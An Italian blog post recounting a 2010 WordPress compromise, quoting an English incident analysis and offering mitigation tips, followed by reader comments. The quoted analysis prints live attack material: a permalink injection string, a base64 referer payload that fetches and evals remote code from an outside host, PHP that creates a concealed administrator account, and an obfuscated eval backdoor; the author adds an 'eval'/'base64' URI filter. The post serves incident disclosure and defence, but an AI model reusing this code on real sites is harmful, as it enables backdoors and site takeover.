ClsHack:Computer Security Blog    

Cronaca di un attacco :(


Il 25/02/2010 il mio sito non è stato accessibile poichè uno spiderbot, aveva iniettato inserito nel mio blog un re indirizzamento ad un altro sito(http://p3p0.com/) se si cercava di entrare nel mio sito tramite google o altri motori di ricerca.




Ma cosa è successo ?
L’attacco è stato effettuato da degli spiderbot, che sfruttando dei bug in wordpress sono riusciti ad iniettare del codice nel mio wp-config.php

Il mio wordpress è il 2.9.2 quindi attualmente l’ultima versione.

Uso pochissimi plugin, ma vi posso assicurare che non sono entrati da li.

Questo bot, ha modificato solo il mio file config, inserendo questo codice:
eval(base64_decode("......
Come risolvere e come proteggersi ?

Allora inanzi tutto, se avete un sito con non molte visite, vi consiglio questo:
IPSafer.com
Che mi è stato segnalato da: spotless.

Settare i permessi di sola lettura al file wp-config.php in questo modo, non funzioneranno gli aggiornamenti in teoria, ma prima che esca un aggiornamento facciamo questo accorgimento.

Utilizzare Akismet
E inserire questo codice nel vostro header del template:

< ?php
if (strlen($_SERVER['REQUEST_URI']) > 155 ||
	strpos($_SERVER['REQUEST_URI'], "eval") ||
	strpos($_SERVER['REQUEST_URI'], "base64")) {
		@header("HTTP/1.1 414 Request-URI Too Long");
		@header("Status: 414 Request-URI Too Long");
		@header("Connection: Close");
		@exit;
} ?>


Che blocca le richieste maggiori a 155 caratteri e che contengono il codice eval o base64 cioè il “virus”
E se siete già stati infettati, togliete il codice eval… dal file wp-config e controllate gli altri file.
E il database.
Anche se da me non cera niente.
Per ora non ho trovato niente che spieghi questo attacco solo un piccolo documento che vi posto:

WordPress eval(base64_decode($_SERVER[HTTP_REFERER])) Hack: Initial AnalysisSeveral sites have been hit recently (including this one) with what is apparently a new vulnerability in WordPress. The attack exploits an apparent vulnerability which allows non-administrative accounts to edit the permalink structure of the site. This is used to inject PHP code that creates an unauthorized administrative WordPress account and attempts to hide the account from the WordPress Web UI via JavaScript injection. It also injects PHP code into several PHP files on the file system and edits permalinks to contain additional code whose intent appears to be to base64 decoded and eval HTTP referer headers.

Initial Attack And Payload

How the vulnerability works is still unclear, but it appears that the attacker must register an account in order to initiate the attack. Upon logging in, the attacker edits the permalink structure to end with:
"/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%
This allows the attacker to execute PHP code via the HTTP referer header. The attacker then issues a request to xmlrpc.php with a malicious payload in the HTTP referer header:

219.75.255.131 - - [03/Sep/2009:21:29:49 -0700] "POST /xmlrpc.php HTTP/1.0" 200 394 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdDYXJyb2xXaWdnaW44Mic7JHVzZXJfcGFzcz0nQEhjJnB1VG1IJVRYJztldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vbGlua3Mud2Vid29yZHByZXNzLmNuL2RhdGEvc2hvcnRwYXJ0Mi50eHQnKSk7ZXhpdDs=" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722"


In our case, the base64 data decodes to:
$role='administrator';$user_login='CarrolWiggin82';$user_pass='@Hc&puTmH%TX';eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;

Payload Execution

The shortpart2.txt file contains the following code:

    require_once(ABSPATH.'wp-includes/registration.php');global $wp_version;global $wpdb;
    echo '<data>'."\n";
    $users_id = $wpdb->get_results("SELECT ID FROM $wpdb->users");
    foreach ($users_id as $id){
    	$my_user=get_userdata($id->ID);
    	if($my_user->wp_user_level==10){
    		if(strlen($my_user->user_firstname)>25) wp_delete_user($id->ID);
    	}
    }
    echo ''.get_option('siteurl').''."\n".''.$wp_version.''."\n".''.$user_login.''."\n".''.$user_pass.''."\n";
    $user_id = wp_create_user($user_login,$user_pass);
    $name="...\n\n\n\n\n\n\n\n\n".'<div id="user_superuser"><script language="JavaScript">
    var setUserName = function(){
    	try{
    		var t=document.getElementById("user_superuser");
    		while(t.nodeName!="TR"){
    			t=t.parentNode;
    		};
    		t.parentNode.removeChild(t);
    		var tags = document.getElementsByTagName("H3");
    		var s = " shown below";
    		for (var i = 0; i < tags.length; i++) {
    			var t=tags[i].innerHTML;
    			var h=tags[i];
    			if(t.indexOf(s)>0){
    				s =(parseInt(t)-1)+s;
    				h.removeChild(h.firstChild);
    				t = document.createTextNode(s);
    				h.appendChild(t);
    			}
    		}
    		var arr=document.getElementsByTagName("ul");
    		for(var i in arr) if(arr[i].className=="subsubsub"){
    			var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
    			if(n[1]>0){
    				var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
            arr[i].innerHTML=txt;
            }
        }
              }catch(e){};
         };
         addLoadEvent(setUserName);
    </script></div>';
    update_usermeta($user_id, 'first_name', $name);$user = new WP_User($user_id);$user->set_role($role);
    update_option('users_can_register',0);print '<register_status>'. get_option('users_can_register').'</register_status>'."\n";echo '</data>'."\n";


This code first deletes all administrative accounts whose first names are longer than 25 characters; this could potentially be a way for the attacker to clean up any previously created administrative accounts in the event that s/he attacks the same site twice. The attacker’s name is then set to contain JavaScript code, which hides the attacker’s administrative account from the WordPress Web interface, and escalates the account to administrative privileges.

Although it is still unclear when or how it happens, several other PHP files are infected with the following malicious code:

    gpc_19045 function ($ l19047) (if (is_array ($ l19047)) (foreach ($ l19047 as $ l19045 => $ l19046) $ l19047 [$ l19045] = gpc_19045 ($ l19046);) elseif (is_string ($ l19047) & &
     substr($l19047,0,4)=="____") substr ($ l19047, 0,4 )=="____")
     {eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;} (eval (base64_decode (substr ($ l19047, 4 )));$ l19047 = null;) return $ l19047;)
     if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER); if (empty ($ _SERVER)) $ _SERVER = $ HTTP_SERVER_VARS; array_map ( "gpc_19045", $ _SERVER);


In our case, this code was injected into index.php and Lab/index.php, which may indicate that some automated script was run on teh sever to recursively infect index.php files with the code. There have also been reports of this code being placed into the wp-config.php file and the wp-content/uploads/pass.php file.

Mitigation

Since the initial code execution seems to use xmlrpc.php to execute the malicious payload, we suggest adding a single line reading “exit();” (no quotes) as the first line of PHP code in the xmlrpc.php file in order to mitigate the threat until a suitable patch is produced. Note that the actual vulnerability does not appear to be located in xmlrpc.php, so other avenues of exploitation may still exist.

Cleanup

The blog’s permalink structure should be restored to prevent errors and possible additional exploitation. You should also clean up the above file injections and remove the attacker’s administrative account. The initial user account used by the attacker should also be removed; it will likely be the last account created just before the creation of the malicious administrative account. More detailed information on cleaning up the malicious accounts can be foundhere.

Related posts:

  1. 1[Attacco alla SCUOLA]Scopri la password di amministrazione

This entry was posted on Friday, February 26th, 2010 at 4:25 pm and is filed under Hacking. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Tagged with:
  • http://www.anxurweb.com Lino

    Grazie per aver condiviso la tua esperienza con tutti noi.

  • http://www.clshack.it clshack

    Ho appena contatto i responsabili di netsons, sperando che mi lascino qualche log, o meglio loro visto che possono sapere, espongano il bug ;)

  • http://thedevelopers.netsons.org/ GREY_FOX

    Ho inserito lo snippet che hai suggerito nell’header.. speriamo bene!
    C’è un piccolissimo errore nel codice…. il tag iniziale < ?php è staccato… questo non da problemi a chi conosce il linguaggio ma per qualche povero utente che fa copia/incolla potrebbe dare qualche grana!

    Ciao :D

  • Pingback: Cronaca di un attacco :(

  • Luigi

    Gran bella guida, sono ignorante per quanto riguarda il php e WP, ma qualcosa ho seguito poiché mi è capitato di usarlo una volta come piattaforma per un blog.
    Certo il tuo livello di conoscenza è notevolmente superiore al mio ;) Continua così!

    P.S.: Sapento che utilizzi linux ti consiglio un lettore audio si chiama Exaile, progettato per Gnome. E’ una meraviglia, stabile, facile e con una grafica semplice ma bella.
    http://www.exaile.org/downloads

    Ciao!

  • http://thedevelopers.netsons.org/ GREY_FOX

    @Lugi
    Bello exaile ma io preferisco banshee per Gnome… ma mi sa che siamo un pò fuori tema :D

  • http://www.aldolat.it Aldo

    Molto simile a quanto mi è successo circa un mese fa e ne parlai qui: http://wp.me/p4yd8-wZ

  • spotless

    ciao, e grazie mille per aver condiviso questa analisi con tutti noi! :)

    Tempo fa ho avuto anch’io un attacco simile (senza conseguenze ma questo per altri motivi…): anche in quel caso la tecnica fu quella di far eseguire del codice consegnato nella variabile “HTTP_REFERER” dell’array $_SERVER, e codificato in standard “base64″. Nel mio caso, tuttavia, l’hacker ha utilizzato uno strumento automatico avente come firma “<magic_seo_toolz>”.

    Se hai sempre avuto la versione 2.9.2 allora non c’è molto da fare, se non mandare un avviso agli sviluppatori di WordPress.

    Se invece avevi una versione precedente (o la 2.8.2 o una precedente) allora si tratta di una debolezza nota, utilizzata tempo fa per un attacco massiccio. In questo caso la patch per risolvere il problema specifico si trova qui, mentre quella che risolve il problema complessivamente la trovi cliccando qui.

  • http://www.clshack.it clshack

    @luigi:

    Ehehe grazie luigi per i complimenti ;)
    E grazie per la egnalazione del player audio insieme a GREY_FOX :)

    @GREY_FOX:
    Per il tag php si si ;) è wordpress che fa questo, per impedire che venga inserito del codice php nell’articolo ;)

    @ spotless:
    Purtroppo spotless ho l’ultima versione di wordpress,
    Per fortuna, hanno già segnato a wordpress questo bug sconosciuto qui=>

    http://wordpress.org/support/topic/363577

    Evidentemente, come previsto non sono l’unico ad essere stato infettato, speriamo presto in una patch.

    ciao ;)

  • http://www.clshack.it clshack

    @Aldo:

    è si, avevo letto ;)

    Speriamo in una patch al più presto ;)

    in tanto, quelli di netsons, non mi rispondono più -.-’

  • http://www.evilripper.net evilripper

    brutta stroria comunque e’ una cosa strana non ho capito bene come fa a modificare il wp-config, il bot dovrebbe registrarsi:

    How the vulnerability works is still unclear, but it appears that the attacker must register an account in order to initiate the attack.

    io ho disattivato la registrazione dal mio blog, mentre nel tuo ci si puo’ registrare!! ma e’ voluta questa cosa?
    http://www.clshack.it/wp-login.php?action=register

    Essendo open source un metodo di difesa piu’ comune e’ cambiare la pagina di amministrazione ora non so se con wp e’ agevole come cosa(wp-admin.php –> in khdsjfdhs.php) e poi e’ chiaro che lasciando i file con tutti i diritti si rischia di piu’ non ricordo se wp richiede 777 per il wp-config, ma mi sembra di no!

    ciao

  • http://www.clshack.it clshack

    Il discorso del “il bot dovrebbe registrarsi” ora , non ho provato ancora sul mio wordpress il bug sopracitato, anche perchè quell’articolo l’avevo già letto ed dovrebbe essere la vulnerabilità che affligge wordpress < 2.8.4

    Quindi non dovrebbe centrare niente.
    Per il file wp-config, boh il mio era settato a 777 non so perchè tutti i permessi nelle cartelle e tutto erano giusti … fatto sta che comunque nessuno dovrebbe avere il permesso di scrivere oppure, di provare a scrivere nel file di wordpres..

    Ciao :)

  • http://thedevelopers.netsons.org/ GREY_FOX

    @clshack
    Per i tag php prova qualche plugin per l’evidenziazione del codice che ce ne stanno a decine… sopratutto per un sito come il tuo nel quale inserisci di continuo codice può essere utile.

    @evilripper
    Anche il mio blog wp permette la registrazione non vedo cosa ci sia di sbagliato.
    Non è possibile modificare il nome di wp-admin.php a meno di non mettere mano pesantemente al codice. Come anche per la cartella wp-admin. Si potrebbe però impostare una restrizione ulteriore su la cartella wp-admin tramite i settaggi di apache in modo da richiedere un’ulteriore pass ma mi sembra troppo eccessivo :D

  • http://www.clshack.it clshack

    @GREY_FOX:

    prima o poi, implemento geshi :P ehehe solo che bah dopo mi diventa pesantissimo il sito

    @evilripper
    si è un po’ improbabile la soluzione che dici tu ;)

    però, potrebbe essere fattibile una cosa del genere :P

    http://www.webmasterworld.com/apache/3731562.htm

    che, costruita nel nostro caso, bloccherebbe su tutto in tutto il sito le stringhe come base64 e cosi via… ;)

    ehehe penso che presto lo farò :)

  • http://www.evilripper.net evilripper

    @GREY_FOX
    no non c’e’ niente di sbagliato, sono solo dell’idea generale che meno cose si lasciano attive meno rischi si corrono ma questo dappertutto!nel mio blog ho deciso io di non mettere la registrazione in quanto se voglio aggiungere degli autori lo faccio io e per commentare i post non occorre essere registrati, quindi non mi serve e non l’abilito! :-D

    per cambiare la directory di amministrazione(non e’ un file mi son sbagliato!) dicono che basta fare una specie di refactoring cmq io non lo farei senza i dovuti test offline! :-D

    http://wp123.info/modifications/change-wp-admin-folder-name/

    ps
    comunque dovrebbe essere implementata come feature di wordpress! :-D

    ciao

  • http://thedevelopers.netsons.org/ GREY_FOX

    @evilripper
    Secondo me quella cosa fa solo casini, il core non si tocca!
    Speriamo introducano qualcosa con le nuove versioni di wp…

  • Ferik

    Credo che non userò più wordpress, troppo labile, giusto oggi 2 Marzo 2010 ho ricevuto un bell’attacco devastante……diffido.

  • spotless

    @Ferik
    condivido la tua perplessità, effettivamente WordPress si sta rivelando un po’ troppo debole!

    @GREY_FOX
    non sarei così drastico! se il progetto è “open source” significa che le modifiche sono benvenute soprattutto se rafforzano la robustezza del tutto: per esempio proprio oggi ho notato che è uscita la patch di ipsafer per wordpress 2.9.2, e magari può essere utile applicarla per irrobustire l’installazione di WordPress.

    @clshack
    bene, speriamo che gli sviluppatori risolvano presto il “buco”. ;)

  • http://thedevelopers.netsons.org/ GREY_FOX

    @spotless
    Certamente le modifiche sono ben venute quando integrate nell progetto… modificando il core da soli si rischia di creare casini al prossimo aggiornamento quello intendevo

  • http://www.clshack.it clshack

    @all: ho chiesto a quelli di netsons, di cercare le stringhe iniettate nei loro file log, allora o sono imbecilli e non trovano niente oppure sono entrati non mandando una richiesta, ma dal mio punto di vista, sfruttando i bug del php <=5.2.12….

  • http://thedevelopers.netsons.org/ GREY_FOX

    cls ho inserito il tuo controllo in un plugin per wordpress cosi lo si può usre anche su gli altri file per wp e non solo per quelli del tema.

    Lo trovi qui: http://thedevelopers.netsons.org/wordpress-in-pericolo-plugin-patch/

    Ma secondo te 155 caratteri non sono troppo pochi per il requst uri?